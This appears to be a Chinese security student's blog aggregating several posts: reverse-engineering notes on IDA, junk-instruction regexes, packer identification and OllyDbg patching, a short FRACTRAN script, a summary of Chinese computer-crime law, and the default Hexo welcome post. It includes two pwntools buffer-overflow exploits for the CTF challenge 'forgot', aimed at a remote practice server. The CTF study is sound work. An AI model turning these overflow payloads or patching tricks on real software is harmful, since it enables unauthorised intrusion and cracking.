0%

学习

  • Top Down
  • Bottom up
  • Curiosity Driven
  • BFS/DFS

定位关键算法

  • 我是谁
    • 代码大致模块
    • 数据大致内容
  • 我从哪来
    • 调用栈
    • 数据赋值
  • 我要去哪
    • 控制流分支/走向
    • 数据交叉引用

fractran

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import fractions

def calc(tmp):
#a = [17/91,78/85,19/51,23/38,29/33,77/29,95/23,77/19,1/17,11/13,13/11,15/14,15/2,55/1]
for n,d in [(17,91),(78,85),(19,51),(23,38),(29,33),(77,29),(95,23),(77,19),(1,17),(11,13),(13,11),(15,14),(15,2),(55,1)]:
f = fractions.Fraction(n,d)
#print(f)
#print(tmp*f)
if (tmp * f % 1) == 0:
#print(tmp*f)
print (tmp)
return tmp *f

def main():
tmp=2
for i in range(100):
tmp = calc(tmp)
#print (tmp)
#print(calc(tmp))


if __name__ == '__main__':
main()

刚开始把分数放直接放在列表里,导致后面以小数的形式参与运算

反调试

- [anti debugging github](https://github.com/LordNoteworthy/al-khaser)

二进制插桩

常见结构

- feistel  变种rc6
- prng (pseudo random number generators) glibc project  _erand48_r
- xorshift
- idea encryption
- process environment block
- fs register
- bzimage
- substitution-permutation network    aes

已完成:

  • IDA无法f5:堆栈不平衡或IDA6.8不支持指令 call rdx,judge指针调用,换IDA7.0或nop掉
  • IDA脚本使用:file->script command(shift+f2)
  • IDA动态调试:选择合适调试器后运行,
  • IDA d\c\a\u
    1. d:字节db、字dw、双字dd 间进行循环切换
    2. c:转成代码
    3. a:生成一个字符串,会有一个a作为前缀
    4. u:转成原数据
  • patch(只支持x86指令)
    1. edit->Patch program
    2. 直接修改16进制,nop是90(快捷键f2)
  • ida反汇编窗口显示十六进制:opcode
  • 修改函数范围注意事项;函数里不能有函数,不能覆盖其他函数
  • SMC(self-Modifying Code) 例子:babyre
  • 花指令判断:ida f5 代码不完整可考虑花指令的锅。
  • 花指令常见范式
    1. jx + jnx 针对递归下降反汇编 跳过花指令
    2. call + pop
    3. call + add esp, 4
    4. call + add [esp], x + retn
    5. stx + jx
  • 匹配花指令的正则
    1. pattern1 = r”\xE8[\x01-\x03]\x00\x00\x00((?!\xE8).){1,5}(\x83\xC4\x04|\x58|\x83\x04\x24\x06\xc3)”
    2. pattern2 = r”([\x70-\x7f])\x03([\x70-\x7f])\x01.”

PWN

forgot

  1. 方法1 利用第一个溢出点,返回至0x080486cc(system函数地址)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context(arch = 'i386', os = 'linux')
r = remote('111.198.29.45', 46100)

overflow = "A"*63
addr = 0x080486cc
overflow += p32(addr)

r.send(overflow + "\n")
r.recvuntil("Enter the string to be validate")

flag = r.recv()
print "[*] Flag: " + flag
r.close()
  1. 方法2 利用第二个溢出点
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.log_level = 'debug'
c = remote("111.198.29.45", 46100)

payload = 'a'*0x44 + p32(0x080486CC) + 'a'*0x20 + p32(0x8)

c.recvuntil(">")
c.sendline("bbb")

c.sendlineafter("> ", payload)

c.interactive()

time_formatter

法律红线

刑法285

  • 【非法侵入计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。
  • 【非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
  • 【提供侵入、非法控制计算机信息系统的程序、工具罪】提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。

情节严重:

  1. 获取支付结算、证券交易、期货交易等网络金融服务的身份认证信息十组以上的;
  2. 获取第(一)项以外的身份认证信息五百组以上的;
  3. 非法控制计算机信息系统二十台以上的;
  4. 违法所得五千元以上或者造成经济损失一万元以上的;
  5. 其他情节严重的情形。

情节特别严重

  1. 数量或者数额达到前款第(一)项至第(四)项规定标准五倍以上的;(获取网络金融服务身份认证信息五十组以上,一般用户身份认证信息二千五百组以上,或者侵入系统一百台以上,或者造成经济损失五万元以上的。)
  2. 其他情节特别严重的情形。提供侵入、非法控制计算机信息系统的程序、工具,明知是他人非法控制的计算机信息系统,而对该计算机信息系统的控制权加以利用的,依照前两款的规定定罪处罚。

刑法286

  • 【破坏计算机信息系统罪】违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。
  • 违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。
  • 故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。

后果严重

  1. 造成10台以上计算机信息系统的主要软件或者硬件不能正常运行的;
  2. 对20台以上计算机信息系统中存储、处理或者传输的数据进行删除、修改、增加操作的;
  3. 违法所得5000以上或者造成经济损失10000元以上的;
  4. 造成为100台以上计算机信息系统提供域名解析、身份认证、计费等基础服务或者为一万以上用户提供服务的计算机信息系统不能正常运行累计一小时以上的;
  5. 造成其他严重后果的。

后果特别严重

  1. 数量或者数额达到前款第(一)项至第(三)项规定标准五倍以上的;(造成50台以上计算机信息系统的主要软件或者硬件不能正常运行的;对100台以上计算机信息系统中存储、处理或者传输的数据进行删除、修改、增加操作的;违法所得25000元以上或者造成经济损失50000元以上的。)
  2. 造成为500台以上计算机信息系统提供域名解析、身份认证、计费等基础服务或者为五万以上用户提供服务的计算机信息系统不能正常运行累计一小时以上的;
  3. 破坏国家机关或者金融、电信、交通、教育、医疗、能源等领域提供公共服务的计算机信息系统的功能、数据或者应用程序,致使生产、生活受到严重影响或者造成恶劣社会影响的;
  4. 造成其他特别严重后果的。

《治安管理处罚法》

第二十九条 有下列行为之一的,处五日以下拘留;情节较重的,处五日以上十日以下拘留:

  1. 违反国家规定,侵入计算机信息系统,造成危害的;
  2. 违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行的;
  3. 违反国家规定,对计算机信息系统中存储、处理、传输的数据和应用程序进行删除、修改、增加的;
  4. 故意制作、传播计算机病毒等破坏性程序,影响计算机信息系统正常运行的。

《网络安全法》

第六十三条 第三款 违反本法第二十七条规定,受到治安管理处罚的人员,五年内
不得从事网络安全管理和网络运营关键岗位的工作;受到刑事处罚的人员,终身不得从
事网络安全管理和网络运营关键岗位的工作。
第二十六条 开展网络安全认证、检测、风险评估等活动,向社会发布系统漏洞、计算机
病毒、网络攻击、网络侵入等网络安全信息,应当遵守国家有关规定。

K哥 学习技巧

兴趣引导

  • 初级:喜欢玩啥,就去尝试玩啥;因为对方根本不知道有啥。
  • 中级:基于兴趣尝试一段时间的深度学习;因为对方不知道到底适不适合自己。
  • 高级:技术方向抉择,规划辅助,转型;因为对方经历的多就知道了。

成就感培养

  1. 别一上手就调整高难度的
  2. 再好的知识,失去成就感,等于放弃
  3. 学会拉高成就感的时候,适当结合一些有价值的失败
  4. 成就感有的时候是几秒就可以,有的是几年
  5. 选中1个点,打碎,击穿

建议

  1. 人无完人,用全力,迎接你的职场
  2. 比你牛的人,一定汗水很多
  3. 谦虚谨慎,多低头学习做事情
  4. 要学会体现你的成果
  5. 急躁是解决不了问题的
  6. 成长是无限的,学习是首要的
  7. 别人的建议要去尝试验证和体会
  8. 扬长避短,查缺补漏

基础知识

  1. MessageBoxA/W
    消息框

  2. ShellExecuteA/W
    open url
    控制台执行

  3. WinExec
    explorer.exe url
    Windows执行

  4. CreateProcessA/W
    PATH url
    创建进程

  5. CreateThread
    创建线程

  6. RegCreateKeyExA/W
    注册表 创建 键值

  7. RegOpenKeyExA/W
    注册表 打开 键值

  8. RegDeleteKeyExA/W
    注册表 删除 键值

  9. MessageBoxA/W

  10. MessageBox是在库里声明了一个宏 当你使用宽字符的时候,也就是unicode的时候,自动帮你转换使用 MessageBoxW 而当你使用窄字符的时候,会自动帮你转换到 MEssageBoxA ,C语言的MessageBox

  11. Ansi(Ascii)
    WideChar(Unicode)

  12. CreateWindowExA/w
    DialogBoxParamA/W
    窗口

  13. F12大法 暂时停止被调试程序的执行

  14. RET大法和nop大法 注意堆栈平衡

工具

  • C32Asm
  • OD
  • ProcExp
  • ProcMon
  • FixRec 资源修复
  • restorator

方法

  1. 使用c32asm搜索网址(ansi或Unicode),用0填充。 去弹网页
  2. 使用OD,找到MessageBoxA/W,将call和前面的push(取决于函数参数的个数)一起nop掉。 去弹窗
  3. 使用OD,找到ShellExecuteA/W、 WinExec、CreateProcessA/W,将call和前面的push(取决于函数参数的个数)一起nop掉。 去网页
  4. 使用OD找到修改注册表的部分,可以把全部的call都nop掉,也可以段首retn(保证和段位的retn一致) 修改主页
  5. 使用OD,找到RegCreateKeyExA/W、 RegOpenKeyExA/W、RegDeleteKeyExA/W,将call和前面的push(取决于函数参数的个数)一起nop掉。 主页锁定
  6. ProExp、ProMon 主要利用字符串

工具

吾爱破解专用版OllyDbg
论坛专用破解虚拟机
其他工具见爱盘

无壳程序特点

  • VC6:入口点代码是固定的代码,入口调用的API也是相同的,其中有的push地址不同程序可能不同;区段有四个也是固定的.text、.rdata、.data和.rsrc。
  • VS:入口点只有两行代码,一个CALL后直接JMP,第一个CALL进去后调用的API也是相同的;区段相对于VC6多了一个.reloc。
  • 易语言:可以从程序里找一些call的调用最终都会走到上面核心代码图位置(文字不太好表达),这个方法可以区分和VC的区别,非独立编译比较容易识别,入口特征和模块特征都有krnln.fnr。
  • Delphi:有DATA、CODE、BSS区段。
  • BC++:入口点是一个jmp。
  • .NET:模块界面可以看到加载.NET的运行库。
  • AutoIt:字符串搜索,有AutoIt字符串。
  • PB和QT看模块窗口,会加载带有语言名称的库

有壳程序特点

  • aspack:入口是pushad+call+jmp,区段增减.aspack(名字可变)和.adata。
  • upx:区段未UPX0、UPX1、.rsrc,一般是这三个区段,前两个区段可改名。
  • Themida:第一个区段为空,最后两个区段随机名称。
  • VMProtect:添加了.vm0、.tls、.vm1(vmp三个字母可修改)三个区段。
  • Shielden:入口点过两个jmp后可以看到特征字符串(跟随或分析),区段特征有.sedata(可修改)

如何识别加壳

通过PEiD、Exeinfo PE等查壳工具内置各种壳的十六进制特征码进行对比

  • PEiD、FFI、FastScanner、RDG Packer Detector这类程序都是通过目录下的userdb.txt(查壳程序不同可能数据库名有出入)数据库进行加壳程序特征对比。由于原理都是通过加壳程序的特征进行对应,而这些加壳特征都是个人总结而来,对加壳程序的模糊搜索对比造成可靠性不高,特别是对于VMProtect这类加密壳程序,经常被识别成一些算七八糟都没见过的加壳内容,特别是显示UPolyX,基本都是误报,但对于传统的一些压缩壳的识别效果还是很好的。
  • Exeinfo PE属于新一代查壳工具,这款查壳工具的加壳特征库比较准确而且范围很广,如ThemIDA、WinLicense、VMProtect、ZProtect、Shielden都可以轻松识别出来,但对于具体加壳程序的版本都是模糊的。

通过入口特征和区段特征来识别

  • 入口特征可以通过OllyDBG载入获得,载入后可以按一下“Ctrl+A”,让OD分析一下代码,就可以把入口点一些特征字符串分析出来。对于Shielden、Safengine、VProtect这类加壳程序都可以使用这种方法判断出来。
  • 区段信息可以通过PEiD的EP处点击获取到

This is my first blog.Please remember how to publish blog on Github.
hexo clean && hexo g && hexo d

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment